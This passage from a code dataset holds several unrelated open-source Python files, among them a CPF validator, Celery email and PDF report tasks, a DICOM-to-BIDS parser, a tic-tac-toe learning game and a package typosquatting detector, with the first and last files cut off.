= self.f.resids.chi2\n        self.fit(full_cov=True)\n        chi22 = self.f.resids.chi2\n        assert np.allclose(chi21, chi22)\n\n    def test_has_correlated_errors(self):\n        assert self.f.resids.model.has_correlated_errors\n","repo_name":"nanograv/PINT","sub_path":"tests/test_gls_fitter.py","file_name":"test_gls_fitter.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"79"}
+{"seq_id":"38405078265","text":"from cadastro.api.validacao.msg.mensagem import *\ndef validando_cpf(cpf):\n    # Foi utilizado a biblioteca para validação de cpf no models\n\n    validar_traco = cpf.count('-')\n    validar_ponto = cpf.count('.')\n    # Verifica se tem algum ponto ou traço e remove para que fique apenas a numeração do cpf, ficando padrão no banco\n    if validar_traco > 0 or validar_ponto > 0:\n        cpf = cpf.replace(\"-\", \"\")\n        cpf = cpf.replace(\".\", \"\")\n  \n    # Após ser verificado e ajustado o traço e os pontos, deve ser analisado se existe apenas números ou contem algum caracter inadequado\n    if cpf.isnumeric() == False:\n        apenas_numeros_valor('CPF', cpf)\n\n    cpf_caracteres = len(str(cpf))\n    # Verificar se a númeração é 11\n    if cpf_caracteres != 11:\n        quantidade_caracteres(11, 'CPF', cpf_caracteres)\n\n    \n    return cpf\n \n    ","repo_name":"Lucas-Fagundes-Nunes/WEBSITE_BACKEND_API-Cadastro_Clientes_Django_Rest_Framework","sub_path":"cadastro/api/validacao/cpf.py","file_name":"cpf.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"36518524777","text":"import requests\n\nurl =\"COPY HERE THE WHOLE SECUREX WEBHOOK URL\"\nheaders = {'Content-Type': 'application/json', 'Accept': 'application/json'}\n\nbody_message={'message':'Hello Message sent in the body'}\n\ntry:\n    response = requests.post(url, headers=headers,data=body_message)\n    print(response)\nexcept:\n    response.raise_for_status()\n\nprint(\"Webhook SENT to SecureX\")","repo_name":"pcardotatgit/SecureX_Workflows_and_Stuffs","sub_path":"10-trigger_your_workflow_with_webhooks/send_webhook_to_secureX.py","file_name":"send_webhook_to_secureX.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"79"}
+{"seq_id":"36394324881","text":"from application.models.users import User as users_model, db\r\nfrom jinja2 import Template\r\nfrom weasyprint import HTML\r\nfrom datetime import datetime\r\nfrom main import celery\r\nfrom flask import current_app\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.application import MIMEApplication\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.base import MIMEBase\r\nimport smtplib\r\nfrom flask import jsonify\r\nfrom email import encoders\r\nfrom xmlrpc.client import SERVER_ERROR\r\n\r\nSMTP_SERVER_HOST = \"localhost\"\r\nSMTP_SERVER_PORT = 1025\r\nSENDER_ADDRESS = 'sandip@gmail.com'\r\nSENDER_PASSWORD = ''\r\n\r\n@celery.task\r\ndef format_report(template_file, user = {}):\r\n    with open(template_file) as file_:\r\n        template = Template(file_.read())\r\n        current_date = datetime.now()\r\n        date_string = current_date.strftime(\"%d-%m-%Y, %H:%M\")\r\n        followed_length = len(list(user.followed))\r\n        followers_length = len(list(user.followers))\r\n        posts_length = len(list(user.posts))\r\n        return template.render(user=user, followed_length = followed_length, followers_length = followers_length, posts_length = posts_length, date_string = date_string)\r\n    \r\n\r\n@celery.task\r\ndef create_pdf_report(user):\r\n    message = format_report(\"monthly_report.html\", user=user)\r\n    html = HTML(string=message)\r\n    file_name = str(user.id)+\"_\"+ str(user.username)+\"_monthly_report\" + \".pdf\"\r\n    print(\"creating file \",file_name)\r\n    html.write_pdf(target=file_name)\r\n\r\n\r\n@celery.task\r\ndef send_email(to_address=\"sandip@gmail.com\", subject=\"testing mail hog\", message=\"testing mail hog\"):\r\n    current_app.logger.info(\"inside send email function\")\r\n    msg = MIMEMultipart()\r\n    msg['To'] = to_address\r\n    msg['From'] = SENDER_ADDRESS\r\n    msg['Subject'] = subject\r\n\r\n    msg.attach(MIMEText(message,'html)'))\r\n    s= smtplib.SMTP(host=SMTP_SERVER_HOST,port=SMTP_SERVER_PORT)\r\n    s.login(SENDER_ADDRESS,SENDER_PASSWORD)\r\n    s.send_message(msg)\r\n    s.quit()             \r\n    return jsonify({\"message\":\"email sent\"})\r\n\r\n\r\n@celery.task()\r\ndef send_email_with_attachment(to_address=\"sandip@gmail.com\", subject=\"BlogLite Monthly Engagement Report\",\r\n message=\"Dear user, please find attached your monthly engagement report\",file_name=\"monthly report\", PATH_TO_FILE=None):\r\n    msg = MIMEMultipart()\r\n    body_part = MIMEText(message, 'plain')\r\n    msg['Subject'] = subject\r\n    msg['From'] = SENDER_ADDRESS\r\n    msg['To'] = to_address\r\n\r\n    msg.attach(body_part)\r\n\r\n    PATH_TO_FILE = PATH_TO_FILE\r\n    FILE_NAME = \"monthly_report.pdf\"\r\n\r\n    with open(PATH_TO_FILE,'rb') as file:\r\n        part = MIMEBase(\"application\", \"octet-stream\")\r\n        part.set_payload(file.read())\r\n    encoders.encode_base64(part)\r\n        # msg.attach(MIMEApplication(file.read(), Name=FILE_NAME))\r\n    part.add_header(\"Content-Disposition\", f\"attachment; filename = monthly_report.pdf\")\r\n    msg.attach(part)\r\n\r\n    s= smtplib.SMTP(host=SMTP_SERVER_HOST,port=SMTP_SERVER_PORT)\r\n    s.login(SENDER_ADDRESS,SENDER_PASSWORD)\r\n    s.send_message(msg)\r\n    s.quit()  \r\n    return jsonify({\"message\":\"email sent with attachment\"})\r\n\r\n\r\n\r\n@celery.task\r\ndef generate_allPdf():\r\n    # users = users_model.query.all()\r\n    # for user in users:\r\n    #     create_pdf_report(user)\r\n    user = users_model.query.get(2)\r\n    create_pdf_report(user)\r\n\r\n\r\n\r\n","repo_name":"sandipbnvn/BlogLite","sub_path":"API/Monthly report.py","file_name":"Monthly report.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"23912671150","text":"from compressor.conf import settings\nfrom compressor.base import Compressor, SOURCE_HUNK, SOURCE_FILE\nfrom compressor.exceptions import UncompressableFileError\n\n\nclass CssCompressor(Compressor):\n    template_name = \"compressor/css.html\"\n    template_name_inline = \"compressor/css_inline.html\"\n\n    def __init__(self, content=None, output_prefix=\"css\"):\n        super(CssCompressor, self).__init__(content, output_prefix)\n        self.filters = list(settings.COMPRESS_CSS_FILTERS)\n        self.type = 'css'\n\n    def split_contents(self):\n        if self.split_content:\n            return self.split_content\n        self.media_nodes = []\n        for elem in self.parser.css_elems():\n            data = None\n            elem_name = self.parser.elem_name(elem)\n            elem_attribs = self.parser.elem_attribs(elem)\n            if elem_name == 'link' and elem_attribs['rel'] == 'stylesheet':\n                try:\n                    basename = self.get_basename(elem_attribs['href'])\n                    filename = self.get_filename(basename)\n                    data = (SOURCE_FILE, filename, basename, elem)\n                except UncompressableFileError:\n                    if settings.DEBUG:\n                        raise\n            elif elem_name == 'style':\n                data = (SOURCE_HUNK, self.parser.elem_content(elem), None, elem)\n            if data:\n                self.split_content.append(data)\n                media = elem_attribs.get('media', None)\n                # Append to the previous node if it had the same media type,\n                # otherwise create a new node.\n                if self.media_nodes and self.media_nodes[-1][0] == media:\n                    self.media_nodes[-1][1].split_content.append(data)\n                else:\n                    node = CssCompressor(str(elem))\n                    node.split_content.append(data)\n                    self.media_nodes.append((media, node))\n        return self.split_content\n\n    def output(self, *args, **kwargs):\n        # Populate self.split_content\n        if (settings.COMPRESS_ENABLED or settings.COMPRESS_PRECOMPILERS or\n                kwargs.get('forced', False)):\n            self.split_contents()\n            if hasattr(self, 'media_nodes'):\n                ret = []\n                for media, subnode in self.media_nodes:\n                    subnode.extra_context.update({'media': media})\n                    ret.append(subnode.output(*args, **kwargs))\n                return ''.join(ret)\n        return super(CssCompressor, self).output(*args, **kwargs)\n","repo_name":"thomasst/mongoadmin","sub_path":"django_compressor-0.9.2/compressor/css.py","file_name":"css.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":250,"dataset":"github-code","pt":"79"}
+{"seq_id":"71381532096","text":"from datetime import datetime\nfrom odoo import models\n\n\nclass IrCron(models.Model):\n    _inherit = \"ir.cron\"\n\n    def try_cron_lock(self):\n        \"\"\" To check scheduler status is running or when nextcall from cron id. It will be used while we are\n            performing an operation, and we have a scheduler for that.\n            @return: Message like scheduler is running in backend.\n            @author: Haresh Mori @Emipro Technologies Pvt. Ltd on date 23 September 2021 .\n            Task_id: 178058\n        \"\"\"\n        try:\n            self._cr.execute(\"\"\"SELECT id FROM \"%s\" WHERE id IN %%s FOR UPDATE NOWAIT\"\"\" % self._table,\n                             [tuple(self.ids)], log_exceptions=False)\n            difference = self.nextcall - datetime.now()\n            diff_days = difference.days\n            if not diff_days < 0:\n                days = diff_days * 1440 if diff_days > 0 else 0\n                minutes = int(difference.seconds / 60) + days\n                return {\"result\": minutes}\n        except:\n            return {\n                \"reason\": \"This cron task is currently being executed, If you execute this action it may cause \"\n                          \"duplicate records.\"\n            }\n","repo_name":"dhongu/others_addons","sub_path":"common_connector_library/models/ir_cron.py","file_name":"ir_cron.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"79"}
+{"seq_id":"8618536110","text":"from __future__ import print_function, unicode_literals\n\nimport os\nimport re\nimport io\nimport pydicom\n\nfrom collections import OrderedDict\nfrom subprocess import CalledProcessError, check_output, STDOUT\n\n\nclass DicomScan:\n\n    def __init__(self, scan_path, dicom_dir, compressed=True, cardio=None, resp=None, triggers=None):\n        self._scan_path = scan_path\n        self._dicom_dir = dicom_dir\n        self._cardio = cardio\n        self._resp = resp\n        self._triggers = triggers\n        self._compressed = compressed\n\n    def get_scan_path(self):\n        return self._scan_path\n\n    def get_scan_dir(self):\n        return os.path.dirname(self._scan_path)\n\n    def get_scan_name(self):\n        return os.path.basename(self._scan_path)\n\n    def get_dicom_dir(self):\n        return os.path.abspath(self._dicom_dir)\n\n    def get_cardio(self):\n        return self._cardio\n\n    def get_resp(self):\n        return self._resp\n\n    def get_triggers(self):\n        return self._triggers\n\n    def is_compressed(self):\n        return self._compressed\n\n    def set_cardio(self, cardio):\n        self._cardio = cardio\n\n    def set_resp(self, resp):\n        self._resp = resp\n\n    def set_triggers(self, triggers):\n        self._triggers = triggers\n\n    def set_compressed(self, compressed):\n        self._compressed = compressed\n\n\ndef get_dicom_dat(field, dcm_file, dicom_tags):\n\n    dcm_fields = [dicom_tags[field]] if not isinstance(dicom_tags[field], list) else dicom_tags[field]\n\n    for dcm_field in dcm_fields:\n\n        dcm_group, dcm_element = dcm_field.split(\",\")\n        dcm_group = int(dcm_group.strip(), 16)\n        dcm_element = int(dcm_element.strip(), 16)\n\n        dcm_dat = dcm_file.get((dcm_group, dcm_element), None)\n\n        if dcm_dat:\n            return dcm_dat\n\n    return None\n\n\ndef dicom_parser(scan, bids_tags, dicom_tags, log=None):\n\n    dcm_file = scan.get_scan_path()\n\n    if scan.is_compressed():\n\n        scan_subject, scan_session, _ = scan.get_scan_dir().split(\"/\")\n\n        compressed_file = os.path.join(scan.get_dicom_dir(), \"{}-{}-DICOM.tgz\".format(scan_subject, scan_session))\n\n        try:\n\n            oxy_bytes = check_output('tar -O -xf {} {}'.format(compressed_file, dcm_file),\n                                     shell=True, stderr=STDOUT)\n\n        except CalledProcessError:\n\n            log.error(\"Unable to extract {} from {}\".format(dcm_file, compressed_file))\n            raise Exception(\"An error has occurred. Check log for details.\")\n\n        oxy_fobj = io.BytesIO(oxy_bytes)\n\n        curr_dcm = pydicom.dcmread(oxy_fobj, stop_before_pixels=True)\n\n    else:\n\n        curr_dcm = pydicom.dcmread(dcm_file, stop_before_pixels=True)\n\n    for modality in bids_tags.keys():\n\n        # Iterate through the tags for the current bids modality, see if they\n        # match the current data in the specified dicom field\n\n        for bids_tag in bids_tags[modality]:\n\n            include_tags = bids_tag.get(\"include\", None)\n            exclude_tags = bids_tag.get(\"exclude\", None)\n\n            # Verify that all the keywords in the 'include' fields are present\n\n            pass_include = True\n\n            for tag in include_tags:\n\n                if not pass_include:\n                    break\n\n                dicom_field, expr = tag\n\n                dicom_dat = get_dicom_dat(dicom_field, curr_dcm, dicom_tags)\n\n                if not dicom_dat:\n                    pass_include = False\n                    break\n\n                if expr.startswith(\"re::\"):\n                    pattern = r\"{}\".format(expr[4:])\n                    re_match = re.search(pattern, dicom_dat, re.IGNORECASE)\n                    if re_match:\n                        continue\n                elif expr.lower() in str(dicom_dat.value).lower():\n                    continue\n\n                pass_include = False\n\n            if not pass_include:\n                continue\n\n            # Verify that none of the keywords in the 'exclude' field are present\n\n            pass_exclude = True\n\n            for tag in exclude_tags:\n\n                if not pass_exclude:\n                    break\n\n                dicom_field, expr = tag\n\n                dicom_dat = get_dicom_dat(dicom_field, curr_dcm, dicom_tags)\n\n                if expr.startswith(\"re::\"):\n                    pattern = r\"{}\".format(expr[4:])\n                    re_match = re.search(pattern, dicom_dat, re.IGNORECASE)\n                    if re_match:\n                        pass_exclude = False\n                        break\n                elif expr.lower() in str(dicom_dat.value).lower():\n                    pass_exclude = False\n                    break\n\n            if not pass_exclude:\n                continue\n\n            # Verify if there are task, acq, or rec pattern matches\n            task = \"\"\n            if modality == \"func\":\n                task_tags = bids_tag.get(\"task\", None)\n                if task_tags:\n                    task_field, task_expr = task_tags\n                    task_dat = get_dicom_dat(task_field, curr_dcm, dicom_tags)\n                    if task_dat:\n                        task_dat = str(task_dat.value)\n                        if task_expr.startswith(\"re::\"):\n                            pattern = r\"{}\".format(task_expr[4:])\n                            re_match = re.search(pattern, task_dat, re.IGNORECASE)\n                            if re_match:\n                                task = re_match.group(0).strip()\n                            else:\n                                task = \"task-NotSpecified\"\n                        else:\n                            task = task_expr\n                    else:\n                        task = \"task-NotSpecified\"\n                else:\n                    task = \"task-NotSpecified\"\n\n            acq = \"\"\n            acq_tags = bids_tag.get(\"acq\", None)\n            if acq_tags:\n                acq_field, acq_expr = acq_tags\n                acq_dat = get_dicom_dat(acq_field, curr_dcm, dicom_tags)\n                if acq_dat:\n                    acq_dat = str(acq_dat.value)\n                    if acq_expr.startswith(\"re::\"):\n                        pattern = r\"{}\".format(acq_expr[4:])\n                        re_match = re.search(pattern, acq_dat, re.IGNORECASE)\n                        if re_match:\n                            acq = re_match.group(0).strip()\n                    else:\n                        acq = acq_expr\n\n            rec = \"\"\n            rec_tags = bids_tag.get(\"rec\", None)\n            if rec_tags:\n                rec_field, rec_expr = rec_tags\n                rec_dat = get_dicom_dat(rec_field, curr_dcm, dicom_tags)\n                if rec_dat:\n                    rec_dat = str(rec_dat.value)\n                    if rec_expr.startswith(\"re::\"):\n                        pattern = r\"{}\".format(rec_expr[4:])\n                        re_match = re.search(pattern, rec_dat, re.IGNORECASE)\n                        if re_match:\n                            rec = re_match.group(0).strip()\n                    else:\n                        rec = rec_expr\n\n            resp_physio = scan.get_resp()\n            cardiac_physio = scan.get_cardio()\n\n            curr_map = OrderedDict({\n                'subject': \"\",\n                'session': \"\",\n                'bids_type': modality,\n                'task': task,\n                'acq': acq,\n                'rec': rec,\n                'run': \"\",\n                'modality': bids_tag[\"bids_modality\"],\n                'patient_id': curr_dcm.PatientID,\n                'scan_datetime': \"{}_{}\".format(curr_dcm.StudyDate, curr_dcm.StudyTime),\n                'scan_dir': os.path.dirname(dcm_file),\n                'resp_physio': resp_physio,\n                'cardiac_physio': cardiac_physio,\n                'biopac': \"\"  # NOT IMPLEMENTED\n            })\n\n            if log:\n                log.info(\"Parsed: {}\".format(dcm_file))\n                log.debug(\"Parsed: {} -- Tag: {}\".format(dcm_file, bids_tag))\n            return curr_map\n\n    log.warning(\"No tag matches for the specified heuristics found in {}.\".format(dcm_file))\n\n    return None\n\n\ndef get_unique_dicoms_from_compressed(compressed_file, dicom_dir, log=None):\n\n    mr_folders_checked = []\n    dicom_files = []\n    realtime_files = []\n    dicom_scans = []\n\n    log.info(\"Searching for DICOM files in {}...\".format(compressed_file))\n\n    try:\n        results = check_output('tar -tf {}'.format(compressed_file.strip()),\n                               shell=True, universal_newlines=True, stderr=STDOUT)\n    except CalledProcessError:\n        log.error(\"Could not open file {}.\".format(compressed_file))\n        return None\n\n    for result in str(results).strip().split(\"\\n\"):\n\n        result = result.strip()\n        curr_dir = os.path.dirname(result)\n\n        if result.endswith(\".1D\"):\n\n            realtime_files.append(result)\n\n        elif curr_dir not in mr_folders_checked and result.endswith(\".dcm\"):\n\n            dicom_files.append(result)\n            mr_folders_checked.append(curr_dir)\n\n    # Create DicomScan objects for each dicom scan and assign relevant physio files if\n    # present\n    for dicom_file in dicom_files:\n\n        dicom_scan = DicomScan(scan_path=dicom_file, dicom_dir=dicom_dir, compressed=True)\n\n        scan_folder = str(dicom_scan.get_scan_dir()).split(\"/\")[-1].split(\"_\")[-1]\n        scan_name = \"scan_{}\".format(scan_folder)\n\n        for rt_file in realtime_files:\n\n            if (\"ECG\" in rt_file) and (scan_name in rt_file):\n\n                dicom_scan.set_cardio(rt_file)\n\n            elif (\"Resp\" in rt_file) and (scan_name in rt_file):\n\n                dicom_scan.set_resp(rt_file)\n\n        dicom_scans.append(dicom_scan)\n\n    return dicom_scans\n","repo_name":"nih-fmrif/fmrif_tools","sub_path":"bidsmapper/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9692,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"}
+{"seq_id":"5832766823","text":"#!/usr/bin/python\n#\n# http://lobais.blogspot.fi/2006/07/system-colors-in-gtk.html\n\nimport pygtk\npygtk.require(\"2.0\")\nimport gtk, pango\n\nw = gtk.Button()\n\nstates = [m for m in dir(gtk) if m.startswith(\"STATE_\")]\nstyles = [m for m in dir(w.get_style()) if type(getattr(w.get_style(), m)) == type(w.get_style().light)]\nstyles = [m for m in styles if not m.endswith(\"_gc\")]\n\nclass CairoBoard(gtk.DrawingArea):\n    def __init__(self):\n        gtk.DrawingArea.__init__(self)\n        self.connect(\"expose_event\", self.expose)\n\n    def expose(self, widget, event):\n        context = widget.window.cairo_create()\n        context.rectangle(event.area.x, event.area.y,\n                          event.area.width, event.area.height)\n        context.clip()\n        self.draw(context)\n        return False\n    \n    def draw (self, context):\n        for x in range(len(states)):\n            for y in range(len(styles)):\n                style = getattr(self.get_style(), styles[y])\n                state = getattr(gtk, states[x])\n                \n                color = style[state]\n                if color == None or type(color) != gtk.gdk.Color:\n                    color = gtk.gdk.Color(0,0,0)\n                context.set_source_color(color)\n                context.rectangle(x*150,y*50,150,50)\n                \n                context.fill_preserve()\n                context.new_path()\n                \n                if color.red + color.green + color.blue < 65535:\n                    context.set_source_color(gtk.gdk.Color(65535,65535,65535))\n                else: context.set_source_color(gtk.gdk.Color(0,0,0))\n                \n                cstring = \"#\"\n                for col in color.red, color.green, color.blue:\n                    h = hex(col/256)[2:]\n                    if len(h) == 1:\n                        h = \"0\"+h\n                    cstring += h\n                    \n                layout = self.create_pango_layout (\"%s\\n%s\\n%s\" % \\\n                        (styles[y], states[x][6:], cstring))\n                layout.set_font_description(pango.FontDescription(\"Sans Serif 10\"))\n                context.move_to(x*150,y*50)\n                context.show_layout(layout)\n\n                context.fill_preserve()\n                context.new_path()\n\nwindow = gtk.Window()\nwindow.connect(\"destroy\", gtk.main_quit)\nwindow.add(CairoBoard())\nwindow.set_default_size(len(states)*150, len(styles)*50)\nwindow.show_all()\ngtk.main()\n","repo_name":"qny31541/pymodcalls","sub_path":"gtkcolors.py","file_name":"gtkcolors.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"33030063004","text":"import random\r\nimport numpy as np\r\n\r\nboard = [0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n\r\n\r\ndef get_action(p1, p2):\r\n    '''\r\n    Returns action depending on the move made by players.\r\n    :param p1: Player class object\r\n    :param p2: Player class object\r\n    :return: Action (board coordinates) that player chose to carry out.\r\n    '''\r\n    while True:\r\n        if p1.turn:\r\n            action = int(input(f'{p1.name}, choose your next move. Choose wisely.\\nMove: '))\r\n        if p2.turn:\r\n            action = int(input(f'{p2.name}, choose your next move. Choose wisely.\\nMove: '))\r\n        if board[action] == 0:\r\n            return action\r\n        else:\r\n            continue\r\n\r\n\r\ndef print_board():\r\n    '''\r\n    Draws board brom board variable.\r\n    0 - void\r\n    1 - X\r\n    2 - O\r\n    :return: None\r\n    '''\r\n    chars = ['_', 'X', 'O']\r\n    b = [chars[i] for i in board]\r\n    print('\\n\\n')\r\n    print('---------')\r\n    print(f'| {b[0]} {b[1]} {b[2]} |\\n| {b[3]} {b[4]} {b[5]} |\\n| {b[6]} {b[7]} {b[8]} |')\r\n    print('---------')\r\n\r\n\r\ndef check_winner():\r\n    \"\"\"\r\n    Check if there is a winner (is 3 X or O in one line).\r\n    :return: bool or 'Draw' if it is draw\r\n    \"\"\"\r\n    # Horizontal 1\r\n    if board[0] == board[1] and board[1] == board[2] and board[2] != 0:\r\n        return True\r\n    # Horizontal 2\r\n    if board[3] == board[4] and board[4] == board[5] and board[5] != 0:\r\n        return True\r\n    # Horizontal 3\r\n    if board[6] == board[7] and board[7] == board[8] and board[8] != 0:\r\n        return True\r\n    # Vertical 1\r\n    if board[0] == board[3] and board[3] == board[6] and board[6] != 0:\r\n        return True\r\n    # Vertical 2\r\n    if board[1] == board[4] and board[4] == board[7] and board[7] != 0:\r\n        return True\r\n    # Vertical 3\r\n    if board[2] == board[5] and board[5] == board[8] and board[8] != 0:\r\n        return True\r\n    # Diagonal 1\r\n    if board[0] == board[4] and board[4] == board[8] and board[8] != 0:\r\n        return True\r\n    # Diagonal 2\r\n    if board[2] == board[4] and board[4] == board[6] and board[6] != 0:\r\n        return True\r\n\r\n    if not (0 in board):\r\n        return 'Draw'\r\n    return False\r\n\r\n\r\ndef EndGame(name=None, draw=False):\r\n    \"\"\"\r\n    Shall be called when game is ended.\r\n    Prints winning message + resets board.\r\n    :param name: Player's name who won game\r\n    :param draw: if there is a draw (no winner)\r\n    :return: None\r\n    \"\"\"\r\n    print_board()\r\n    print('Board at the end\\n')\r\n    if not draw:\r\n        print(f'Mighty {name} won')\r\n    else:\r\n        print('It was foreseen that it will be a draw...')\r\n    global board\r\n    board = [0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n\r\n\r\ndef state_to_num(state):\r\n    \"\"\"\r\n    Encodes state of board to number.\r\n    :param state: board array\r\n    :return: number\r\n    \"\"\"\r\n    return state[0] + 3 * state[1] + 9 * state[2] + 27 * state[3] + 81 * state[4] + 243 * state[5] + 729 * state[\r\n        6] + 2187 * state[7] + 6561 * state[8]\r\n\r\n\r\ndef num_to_state(N):\r\n    \"\"\"\r\n    Turns number to state of board (board array)\r\n    :param N: number\r\n    :return: board array\r\n    \"\"\"\r\n    i = N // (3 ** 8)\r\n    h = (N - i * (3 ** 8)) // (3 ** 7)\r\n    g = (N - i * (3 ** 8) - h * (3 ** 7)) // (3 ** 6)\r\n    f = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6)) // (3 ** 5)\r\n    e = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6) - f * (3 ** 5)) // (3 ** 4)\r\n    d = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6) - f * (3 ** 5) - e * (3 ** 4)) // (3 ** 3)\r\n    c = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6) - f * (3 ** 5) - e * (3 ** 4) - d * (3 ** 3)) // (3 ** 2)\r\n    b = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6) - f * (3 ** 5) - e * (3 ** 4) - d * (3 ** 3) - c * (3 ** 2)) // (3 ** 1)\r\n    a = (N - i * (3 ** 8) - h * (3 ** 7) - g * (3 ** 6) - f * (3 ** 5) - e * (3 ** 4) - d * (3 ** 3) - c * (3 ** 2) - b * (3 ** 1)) // (3 ** 0)\r\n    return ([a, b, c, d, e, f, g, h, i])\r\n\r\ndef get_action_ai(p1, p2):\r\n    \"\"\"\r\n    Returns move that ai makes.\r\n    :param p1:\r\n    :param p2:\r\n    :return:\r\n    \"\"\"\r\n    global board\r\n    if p1.turn:\r\n        marker = 1\r\n        epsilon = p1.epsilon\r\n    else:\r\n        marker = 2\r\n        epsilon = p2.epsilon\r\n\r\n    players = [p1, p2]\r\n    possible_next_states = {}\r\n    top_value = -1\r\n\r\n    # Encode all possible states\r\n    for i in range(len(board)):\r\n        if board[i] == 0:\r\n            state = np.copy(board)\r\n            state[i] = marker\r\n            state_encoded = state_to_num(state)\r\n            possible_next_states[i] = state_encoded\r\n\r\n    # Implementation of epsilon greedy\r\n    if np.random.rand() < epsilon:\r\n        if players[marker-1].epsilon > 0.05:\r\n            players[marker-1].epsilon -= 0.001\r\n            return random.sample(possible_next_states.keys(),1)[0]\r\n    else:\r\n        i = 0\r\n        for state in possible_next_states.values():\r\n            try:\r\n                # Find the most beneficial state\r\n                if players[marker-1].values(state) > top_value:\r\n                    top_value = players[marker-1].values(state)\r\n                    action = list(possible_next_states.keys())[i]\r\n            except:\r\n                pass\r\n            i+=1\r\n\r\n    if players[marker-1].epsilon > 0.05:\r\n        players[marker-1].epsilon -= 0.001\r\n\r\n    # If there was no action set, return a random action\r\n    try:\r\n        return action\r\n    except:\r\n        return random.sample(possible_next_states.keys(), 1)[0]\r\n\r\n\r\ndef play_game(p1, p2):\r\n    \"\"\"\r\n    Main game loop.\r\n    :param p1: Player class object\r\n    :param p2: Player class object.\r\n    :return: None\r\n    \"\"\"\r\n    global board\r\n    state_history = []\r\n    # Main Loop\r\n    while True:\r\n        print_board()\r\n        if p1.turn:\r\n            if p1.ai:\r\n                board[get_action_ai(p1, p2)] = 1\r\n            else:\r\n                board[get_action(p1, p2)] = 1\r\n            state_history.append(state_to_num(board))\r\n\r\n            if check_winner() == True:\r\n                EndGame(name=p1.name)\r\n                update_values(p1, state_history, True)\r\n                update_values(p2, state_history)\r\n                break\r\n\r\n        if p2.turn:\r\n            if p2.ai:\r\n                board[get_action_ai(p1, p2)] = 2\r\n            else:\r\n                board[get_action(p1, p2)] = 2\r\n            state_history.append(state_to_num(board))\r\n\r\n            if check_winner() == True:\r\n                EndGame(name=p2.name)\r\n                update_values(p2, state_history, True)\r\n                update_values(p1, state_history)\r\n                break\r\n\r\n        if check_winner() == 'Draw':\r\n            EndGame(draw=True)\r\n            update_values(p2, state_history)\r\n            update_values(p1, state_history)\r\n            break\r\n\r\n        p1.turn = not p1.turn\r\n        p2.turn = not p2.turn\r\n\r\ndef update_values(player, state_history, winner=False):\r\n    \"\"\"\r\n    Updates values.\r\n    \"\"\"\r\n    player.values[state_history[-1]] = -1\r\n    if winner:\r\n        player.values[state_history[-1]] = 1\r\n\r\n    for state in state_history:\r\n        if state not in player.values:\r\n            player.values[state] = 0\r\n\r\n    for i in range(len(state_history)-1, 0, -1):\r\n        player.values[state_history[i-1]] += .1*(player.values[state_history[i]] - player.values[state_history[i-1]])","repo_name":"fulcrum101/ai_tic_tac_toe_undertale_style","sub_path":"game_func.py","file_name":"game_func.py","file_ext":"py","file_size_in_byte":7246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"9281704663","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nDetect packages which might have been typosquatted based on string similarity\nlevel calculated from a dataset of popular packages.\nIt can be coupled with shell aliases/functions to prevent installing\ntyposquatted packages which might happen just because we often mistype.\nNo magic, just stdlib :)\n\nFor example:\n\nfunction pip3 {\nif [[ -n \"$1\" ]] && [[ \"$1\" = 'install' ]]; then\n  ~/.local/bin/squatdetect.py --packages \"${@: -1}\" | grep 'might be impersonating' && return\nfi\n$(which pip3) \"$@\"\n}\n\nfunction gem {\nif [[ -n \"$1\" ]] && [[ \"$1\" = 'install' ]]; then\n  ~/.local/bin/squatdetect.py --packages \"${@: -1}\" --type gem | grep 'might be impersonating' && return\nfi\n$(which gem) \"$@\"\n}\n\"\"\"\n\nimport os\nimport sys\nimport argparse\nfrom difflib import SequenceMatcher\nimport json\nfrom subprocess import Popen, PIPE\nimport pkg_resources\n\nSCRIPT_DIR=os.path.dirname(__file__)\n\nparser = argparse.ArgumentParser(description=__doc__,\n                               formatter_class=argparse.RawDescriptionHelpFormatter)\nparser.add_argument('--type', help='Package type. Default: pip', default='pip',\n                    nargs='?', choices=['pip', 'gem'])\nparser.add_argument('--packages', help='Package(s) to check, \\\n                    if no packages are specified, all installed packages will be checked',\n                    required=False, nargs='+')\nparser.add_argument('--confidence', help='Level of confidence to be set. Default: 8',\n                    type=int, choices=range(1, 10), default=8)\nargs = parser.parse_args()\n\n\nif args.type in ('pip', 'gem'):\n    with open(f\"{SCRIPT_DIR}/{args.type}.json\", encoding='UTF-8') as source:\n        data=json.loads(source.read())\n    package_names = [_['project'] for _ in data['packages']]\n\nif args.packages:\n    packages_to_check = args.packages\nelif args.type == 'pip':\n    print('Checking all installed pip qpackages ..')\n    packages_to_check = [_.key for _ in pkg_resources.working_set]\nelif args.type == 'gem':\n    print('Checking all installed gems ..')\n    with Popen(['gem', 'list', '--quiet'],\n                 stdout = PIPE,\n                 stderr = PIPE) as proc:\n        stdout, stderr = proc.communicate()\n        if stderr:\n            print(stderr)\n            print('Unable to get list of gems')\n            sys.exit(1)\n        packages_to_check = [_.split(' ')[0].strip() for _ in\n                            stdout.decode('utf-8').strip().split('\\n')]\n\nfor p in 